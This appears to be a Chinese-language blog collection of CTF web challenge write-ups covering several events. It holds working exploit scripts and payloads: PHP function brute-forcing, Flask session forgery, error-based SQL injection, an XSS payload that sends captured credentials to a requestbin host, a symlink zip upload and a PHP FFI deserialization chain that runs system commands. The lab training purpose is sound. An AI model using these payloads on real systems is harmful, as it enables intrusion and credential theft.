[SUCTF]annonymous 
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $MY  = create_function("" ,"die(`cat flag.php`);" );$hash  = bin2hex(openssl_random_pseudo_bytes(32 ));eval ("function SUCTF_$hash (){"     ."global \$MY;"      ."\$MY();"      ."}" ); if (isset ($_GET ['func_name' ])){    $_GET ["func_name" ]();     die (); } show_source(__FILE__ ); 
 
0x01:审计 
首先利用creat_function创建了一个匿名函数,而eval函数中也实现了对该函数的调用,但是eval中创建的函数名用了openssl_random_pseudo_bytes函数,所以很难进行爆破
但是可以从匿名函数入手,因为create_function创建匿名函数时,该函数的名字会默认为%00lambda_%d,所以我们可以爆破后面的%d执行对应的匿名函数
exp:
1 2 3 4 5 6 7 8 9 import  requestsfor  i in  range (1000 ):    url = 'http://3f157adf-697c-4764-b2cc-994d24033869.node4.buuoj.cn:81/?func_name=%00lambda_{}' .format (i)     r = requests.get(url)     if  '$flag'  in  r.text:         print (r.text)         break      print ("go! {}" .format (i)) 
 
就可以得到flag了
 
[DDCTF]homebrew event loop 
打开页面,可以发现url上有不同的地方,然后还告诉了我们的信息:有多少钻石和分数,然后可以在e-shop里面购买钻石,并且可以点击Reset进行重置
之后直接看源码吧:
0x01:审计+解题 
1 2 def  FLAG ():      return  '*********************'    
 
  -trigger_event函数用于将event元素加入session的log和执行队列中,实现对函数的执行。
1 2 3 4 5 6 7 8 def  trigger_event (event ):       session['log' ].append(event)      if  len (session['log' ]) > 5 :          session['log' ] = session['log' ][-5 :]     if  type (event) == type ([]):          request.event_queue += event     else :         request.event_queue.append(event)  
 
  -get_mid_str函数用于在后面的execute_event_loop函数中截取用于执行的函数
1 2 3 4 5 def  get_mid_str (haystack, prefix, postfix=None  ):    haystack = haystack[haystack.find(prefix)+len (prefix):]      if  postfix is  not  None :         haystack = haystack[:haystack.find(postfix)]      return  haystack 
 
  -execute_event_loop函数用于执行url中我们用get传入的函数,而我们所利用的也是这个函数,因为我们想要执行多个函数,所以我们要利用trigger_event将我们想要执行的函数放入执行队列中,但是由于eval函数,所以要用%23绕过,之后再在每个要执行的函数之间用#进行分割就实现了多函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def  execute_event_loop ():      valid_event_chars = set (         'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' )     resp = None      while  len (request.event_queue) > 0 :                   event = request.event_queue[0 ]          request.event_queue = request.event_queue[1 :]           if  not  event.startswith(('action:' , 'func:' )):              continue          for  c in  event:              if  c not  in  valid_event_chars:                  break          else :             is_action = event[0 ] == 'a'               action = get_mid_str(event, ':' , ';' )              args = get_mid_str(event, action+';' ).split('#' )              try :                 event_handler = eval (                     action + ('_handler'  if  is_action else  '_function' ))                  ret_val = event_handler(args)              except  RollBackException:                 if  resp is  None :                     resp = ''                  resp += 'ERROR! All transactions have been cancelled. <br />'                  resp += '<a href="./?action:view;index">Go back to index.html</a><br />'                  session['num_items' ] = request.prev_session['num_items' ]                 session['points' ] = request.prev_session['points' ]                 break              except  Exception, e:                 if  resp is  None :                     resp = ''                                   continue              if  ret_val is  not  None :                 if  resp is  None :                     resp = ret_val                  else :                     resp += ret_val     if  resp is  None  or  resp == '' :         resp = ('404 NOT FOUND' , 404 )     session.modified = True      return  resp 
 
  -buy_handler函数购买钻石,参数为买的钻石的个数,然后买的个数加入session的num_items中,这里的num_items刚好和后面的get_flag函数相应,所以我们要实现num_itemsa>=5,但是还要注意在consume_point_function函数中的报错RollBackException(),这个要求一次购买的钻石个数不能超过3个,所以不能一次性买5个,但是我们可以分次数购买
1 2 3 4 5 6 7 def  buy_handler (args ):    num_items = int (args[0 ])     if  num_items <= 0 :         return  'invalid number({}) of diamonds to buy<br />' .format (args[0 ])     session['num_items' ] += num_items     trigger_event(['func:consume_point;{}' .format (         num_items), 'action:view;index' ]) 
 
  - 在最后的get_flag_handler函数中可以发现,如果买到的钻石个数大于5的话,就可以执行trigger_enent和FlAG函数得到flag了,并且trigger_event函数会把字符串放入session里面的log中,所以就可以通过看session来得到flag,而从前面也可以发现session被加密了,直接用脚本解密就好啦
1 2 3 4 5 def  get_flag_handler (args ):    if  session['num_items' ] >= 5 :                  trigger_event('func:show_flag;'  + FLAG())     trigger_event('action:view;index' ) 
 
payload:
1 ?action:trigger_event%23 ;action:buy 2 ;%23action:buy 3 ;%23action:get_flag;%23  
 
base64解密之后得到flag
[CISCN2019]Web4 打开页面,点击之后发现直接转到了百度的界面,看url就可以发现着手点了
可能存在ssrf之类的漏洞,直接试着查看/flag,但是返回了hacker,说明flag被ban了
之后查看一些文件也看不出有什么可以利用的,那么就先抓个包吧
发现session的值很想jwt的格式
那就直接去用脚本强制解密一下看看
解密之后发现后面是www-data,那么有可能就是我们要修改session伪造身份,才有资格访问
但是现在有两个问题,一个是不知道真正的用户是什么,然后还有一个是不知道加密的密钥是什么,当然我们可以猜测存在python文件,但是该怎么才能得到源码呢
因为这是一个flask框架,但是尝试之后还是没找到,最后看了别人的wp
(但是不知道为什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import  re, random, uuid, urllibfrom  flask import  Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True  @app.route('/'  ) def  index ():    session['username' ] = 'www-data'      return  'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'  @app.route('/read'  ) def  read ():    try :         url = request.args.get('url' )         m = re.findall('^file.*' , url, re.IGNORECASE)         n = re.findall('flag' , url, re.IGNORECASE)         if  m or  n:             return  'No Hack'          res = urllib.urlopen(url)         return  res.read()     except  Exception as  ex:         print  str (ex)     return  'no response'  @app.route('/flag'  ) def  flag ():    if  session and  session['username' ] == 'fuck' :         return  open ('/flag.txt' ).read()     else :         return  'Access denied'  if  __name__=='__main__' :    app.run(         debug=True ,         host="0.0.0.0"      ) 
 
之后就可以进行审计啦,根据前面有# encoding:utf-8,我们可以猜测是python2的环境(纯个人方法
审计源码之后我们可以发现flag路由,且要实现username为fuck才能读取flag文件,但是接下去还有一个问题就是密钥
重点在于:
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) 
 
百度之后可以知道,random.seed里面的值是种子,存在seed之后,再执行random函数的时候生成的随机数的伪随机数,所以我们可以通过获取seed来知道我们需要的随机数
所以现在的重点在于uuid.getnode(),百度之后发现这个是用来获取mac地址(物理地址)的
https://www.jianshu.com/p/b4102e3e3e96 
所以得到了mac地址(ae:f8:1f:75:7c:c0),而seed里面是十进制,所以要将mac地址转化为十进制:
exp:(注意这里要用python2,因为python3和python2保留的小数位数不同
1 2 3 4 5 6 7 8 9 10 11 12 import  uuidimport  randommac = "ae:f8:1f:75:7c:c0"  temp = mac.split(':' ) temp = [int (i,16 ) for  i in  temp] temp = [bin (i).replace('0b' ,'' ).zfill(8 ) for  i in  temp] temp = '' .join(temp) mac = int (temp, 2 ) random.seed(mac) randStr = str (random.random()*233 ) print (randStr)
 
之后直接对session加密:
修改session,并访问flag路由得到flag
[WMCTF]Make PHP Great Again 
源码:
1 2 3 4 5 6 <?php highlight_file(__FILE__); require_once 'flag.php' ; if (isset($_GET['file' ])) {  require_once $_GET['file' ]; } 
 
代码很短,知识点是绕过require_once不能重复包含的限制
分析 (慢慢看
payload:
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 
 
[RootersCTF]babyWeb 
打开靶机,直接告诉了我们ban了union|sleep|'|"| or |-|benchmark,随便在框里输入数字时会发现这应该是数字型注入,所以被ban掉的引号没有印象
解法一:万能密码 
 
解法二:手注 
1 2 3 4 5 6 1 order by 2 1^updatexml(1,concat(0x7e,database(),0x7e),1) 1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) 1^updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),0x7e),1) 1^updatexml(1,concat(0x7e,(select uniqueid from users),0x7e),1) # ~837461526918364526,123456789928466788~   
 
之后在输入框中输入查询到的uniqueid的值,就可以得到flag了
(注:这里存在一个点,就是过滤了单引号在table_name=’users’中不能使用,可以用十六进制绕过)
[GWCTF 2019]mypassword 打开靶机,无法注入,但是可以在feedback里面写内容
看了源码之后可以发现代码块,这里的黑名单是进行字符串替换的,那我们在被过滤的字符串中间加上cookie就可以绕过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (is_array($feedback )){				echo  "<script>alert('反馈不合法');</script>" ; 				return  false ; 			} 			$blacklist  = ['_' ,'\'' ,'&' ,'\\' ,'#' ,'%' ,'input' ,'script' ,'iframe' ,'host' ,'onload' ,'onerror' ,'srcdoc' ,'location' ,'svg' ,'form' ,'img' ,'src' ,'getElement' ,'document' ,'cookie' ]; 			foreach  ($blacklist  as  $val ) { 		        while (true ){ 		            if (stripos($feedback ,$val ) !== false ){ 		                $feedback  = str_ireplace($val ,"" ,$feedback ); 		            }else { 		                break ; 		            } 		        } 		    } 
 
可以尝试写入<scricookiept>alert(1)</scrcookieipt>,之后再进行访问,可以发现可能存在xss攻击,但是之后不知道该怎么利用反射性xss攻击去读取flag
之后看登陆界面的js源码,账户和密码都被填入了表单,那么猜测flag或许可能是账户或者密码,那么可以构造poc获取密码和账户。
1 2 3 4 5 6 7 8 9 10 11 12 13 if  (document .cookie && document .cookie != '' ) {	var  cookies = document .cookie.split('; ' ); 	var  cookie = {}; 	for  (var  i = 0 ; i < cookies.length; i++) { 		var  arr = cookies[i].split('=' ); 		var  key = arr[0 ]; 		cookie[key] = arr[1 ]; 	} 	if (typeof (cookie['user' ]) != "undefined"  && typeof (cookie['psw' ]) != "undefined" ){ 		document .getElementsByName("username" )[0 ].value = cookie['user' ]; 		document .getElementsByName("password" )[0 ].value = cookie['psw' ]; 	} } 
 
poc(这里可以利用requestbin),之后就可以在requestbin那里获取到代码执行的信息,得到flag:
1 2 3 4 5 6 7 8 9 <inpcookieut type="text"  name="username" ></inpcookieut> <inpcookieut  type ="text"  name ="password" > </inpcookieut > <scricookiept  scookierc ="./js/login.js" > </scricookiept > <scricookiept > 	var uname = documcookieent.getElemcookieentsByName("username")[0].value; 	var passwd = documcookieent.getElemcookieentsByName("password")[0].value; 	var res = uname + " " + passwd; 	documcookieent.locacookietion="http://http.requestbin.buuoj.cn/*/?a="+res; </scricookiept > 
 
[NESTCTF 2019]Love Math 2 之前做过类似的题目
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET ['c' ])){    show_source(__FILE__ ); }else {          $content  = $_GET ['c' ];     if  (strlen($content ) >= 60 ) {         die ("太长了不会算" );     }     $blacklist  = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ];     foreach  ($blacklist  as  $blackitem ) {         if  (preg_match('/'  . $blackitem  . '/m' , $content )) {             die ("请不要输入奇奇怪怪的字符" );         }     }          $whitelist  = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' ,  'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin'  , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];     preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs );     foreach  ($used_funcs [0 ] as  $func ) {         if  (!in_array($func , $whitelist )) {             die ("请不要输入奇奇怪怪的函数" );         }     }          eval ('echo ' .$content .';' ); } 
 
审计代码+审题 
规定get传入的值长度要小于60,且不能有空格等特殊符号,除此之外对于使用的数学函数进行了限制,但是看过之后没有可以在字符和数值之间转换的函数,那么应该是不能直接利用的
那或许我们可以利用取反或者异或运算来得到我们想要的函数
比如我们像执行的代码为:system('cat /flag');也可以构造$_GET[1]($_GET[2]);
可以试着写个脚本跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33  <?php  $str  = '1234567890!@#$%^&*()_+=-' ;$whitelist  = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' ,  'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin'  , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];foreach  ($whitelist  as  $key  => $value ) {             for ($j  = 0 ;$j  < 9 ;$j ++){             for ($k  = 0 ;$k  < 9 ;$k ++){                                                   $a  = ($value  ^ $j .$k );                 if ($a  == '_G'  || $a  == 'ET' )                     echo  $value ."^" .($j .$k )." = $a " ."\n" ;                 for ($i  = 0 ;$i  < 9 ;$i ++){                     $b  = $value  ^ ($j .$k .$i );                     if ($b  == 'SYS'  || $b  == 'GET' )                         echo  $value ."^" .($j .$k .$i )." = $b " ."\n" ;                 }             }         }      }  
 
最后选最短的几个来组成payload吧:(注意这里的64的类型要是字符串
1 ?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/ 
 
之后cat一下就可以得到flag了
[BSidesCF 2019]Pick Tac Toe 打开靶机,不知道为什么点击没反应,F12之后发现cookie里面有session,但是base64解码之后只看出来了又sessionid,之后查看了一下源码,发现原来每个格子都对应着一个id
并且有action=/move而input标签可以利用move输入对应的值,那么随便试一下,好嘛,这不就是我们经常玩的井字棋嘛
那就直接选三个可以连起来的进行post传值就可以得到flag了
payload:(直接强制性传就好啦 即使br处出现了圆圈也不会有什么影响
 
[RootersCTF2019]ImgXweb 
打开靶机,开始是登陆注册,先试一下admin万能密码登录,没有成功,注册admin发现admin用户已存在,那先随便注册一个账号进去吧
然后发现是文件上传,都试了一遍之后可以确定不是文件上传的漏洞了
抓包之后发现cookie里面有sessionid,格式明显就是jwt,直接解码看看
说明我们可以伪造我们的身份为admin,然后进去看看,但是现在重点是怎么获得密钥
遇事不决,扫一下后台把,发现有robots.txt(太久没做题,导致有时候应该能直接自己试出来的东西要从头开始过了害
查看robots.txt之后可以得到密钥啦:you-will-never-guess
直接解密之后加密,抓包放包:
发现有flag.png,但是发现个问题,直接访问是得不到flag的,想到之前可以利用curl下载文件
用curl试了好多命令之后,没想到直接curl url就可以得到flag了,还得继续学习curl的用途呢
[SWPU2019]Web3 
打开靶机,登录页面没有限制,登录进去之后有upload界面,但是没有权限,并且3秒之后自动返回首页,F12查看cookie之后发现有session值,格式很像jwt,但是jwt解码之后出现乱码,那也可能是flask session,用脚本强制解码之后可以得到:
其中,后面的username和password解码之后都是default,那么猜测如果把username改成admin会怎么样,但是没有密钥,那么试着看看robots.txt有没有提示,发现有这个文件,虽然返回了404 not found但是页面加载是200,说明是存在这个文件的,可以在F12之后发现某个特别的内容:
base64解码之后得到密钥:(虽然不确定后面的那些符号是不是,先测试一下
1 SECRET_KEY:keyqqqwwweee!@#$%^&* 
 
可以发现是正确的呢,那就直接伪造啦(这里是试了好多次之后,都不对,看了别的师傅的wp之后
1 {'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'} 
 
可以得到:
1 .eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Yek0bA.1lnXSowFDjHbyuAnUGKfWtYEN84 
 
抓包修改之后就获得了文件上传的权限,看源码可以得到文件上传的python源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 @app.route('/upload' ,methods=['GET' ,'POST' ] ) def  upload ():    if  session['id' ] != b'1' :         return  render_template_string(temp)     if  request.method=='POST' :         m = hashlib.md5()         name = session['password' ]         name = name+'qweqweqwe'          name = name.encode(encoding='utf-8' )         m.update(name)         md5_one= m.hexdigest()         n = hashlib.md5()         ip = request.remote_addr         ip = ip.encode(encoding='utf-8' )         n.update(ip)         md5_ip = n.hexdigest()         f=request.files['file' ]         basepath=os.path.dirname(os.path.realpath(__file__))         path = basepath+'/upload/' +md5_ip+'/' +md5_one+'/' +session['username' ]+"/"          path_base = basepath+'/upload/' +md5_ip+'/'          filename = f.filename         pathname = path+filename         if  "zip"  != filename.split('.' )[-1 ]:              return  'zip only allowed'          if  not  os.path.exists(path_base):              try :                 os.makedirs(path_base)             except  Exception as  e:                 return  'error'          if  not  os.path.exists(path):             try :                 os.makedirs(path)             except  Exception as  e:                 return  'error'          if  not  os.path.exists(pathname):             try :                 f.save(pathname)             except  Exception as  e:                 return  'error'          try :             cmd = "unzip -n -d " +path+" " + pathname             if  cmd.find('|' ) != -1  or  cmd.find(';' ) != -1 :  				waf()                 return  'error'              os.system(cmd)         except  Exception as  e:             return  'error'          unzip_file = zipfile.ZipFile(pathname,'r' )         unzip_filename = unzip_file.namelist()[0 ]         if  session['is_login' ] != True :             return  'not login'          try :             if  unzip_filename.find('/' ) != -1 :                 shutil.rmtree(path_base)                 os.mkdir(path_base)                 return  'error'              image = open (path+unzip_filename, "rb" ).read()             resp = make_response(image)             resp.headers['Content-Type' ] = 'image/png'              return  resp         except  Exception as  e:             shutil.rmtree(path_base)             os.mkdir(path_base)             return  'error'      return  render_template('upload.html' ) @app.route('/showflag'  ) def  showflag ():    if  True  == False :         image = open (os.path.join('./flag/flag.jpg' ), "rb" ).read()         resp = make_response(image)         resp.headers['Content-Type' ] = 'image/png'          return  resp     else :         return  "can't give you"  
 
可以知道upload路由里进行文件上传并且对文件解压缩之后查看文件内容
而showflag路由里面,由于if条件永假,所以我们无法通过该路由获取flag,但是这个路由告诉我们flag文件所在的路径./flag/flag.jpg
之后看了别的师傅的wp:参考 这里提到了软连接的使用 
命令:(注意 这里的flag文件需要绝对路径
1 2 ln -s /proc/self/cwd/flag/flag.jpg test zip -ry test.zip test 
 
上传文件,抓包得到flag
[RCTF 2019]Nextphp 
代码:
1 2 3 4 5 6 <?php if  (isset ($_GET ['a' ])) {    eval ($_GET ['a' ]); } else  {     show_source(__FILE__ ); } 
 
先看看phpinfo里面给了我们什么信息,经典常用命令执行函数都被ban了
随便尝试一下,很多函数例如var_dump,print_r,echo,file_get_contents,file_put_contents都没有被ban,还是有机会的:
1 ?a=var_dump(scandir('.')); 
 
回显:
1 array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" } 
 
查看文件:
1 ?a=file_get_contents("/var/www/html/preload.php"); 
 
回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php final  class  A  implements  Serializable   {    protected  $data  = [         'ret'  => null ,         'func'  => 'print_r' ,         'arg'  => '1'      ];     private  function  run  ( )  {         $this ->data['ret' ] = $this ->data['func' ]($this ->data['arg' ]);     }     public  function  __serialize ( ): array   {         return  $this ->data;     }     public  function  __unserialize (array  $data  )  {         array_merge($this ->data, $data );         $this ->run();     }     public  function  serialize  ( ): string   {         return  serialize($this ->data);     }     public  function  unserialize ($payload  )  {         $this ->data = unserialize($payload );         $this ->run();     }     public  function  __get  ($key  )  {         return  $this ->data[$key ];     }     public  function  __set  ($key , $value  )  {         throw  new  \Exception ('No implemented' );     }     public  function  __construct  ( )  {         throw  new  \Exception ('No implemented' );     } } 
 
虽然这里可以利用$this->data['ret'] = $this->data['func']($this->data['arg']);来执行函数,但是最重要的还是很多函数被ban了
这里要用到php的一个扩展FFI扩展 ,它支持php调用c的代码
FFI::cdef([string ![cdef = “” , string lib = null]]): FFI
所以可以构造poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php final  class  A  implements  Serializable   {    protected  $data  = [         'ret'  => null ,         'func'  => 'FFI:cdef' ,         'arg'  => 'int system(char* command)'      ];     public  function  serialize  ( ): string   {         return  serialize($this ->data);     }     public  function  unserialize ($payload  )  {         $this ->data = unserialize($payload );         $this ->run();     } } $a  = new  A();echo  urlencode(serialize($a ));
 
payload:
1 ?a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt'); 
 
最后 第一周结束了,感觉学到的新知识也不是很多,很多遇到的新知识都没有彻底理解,下周效率要高一点了
~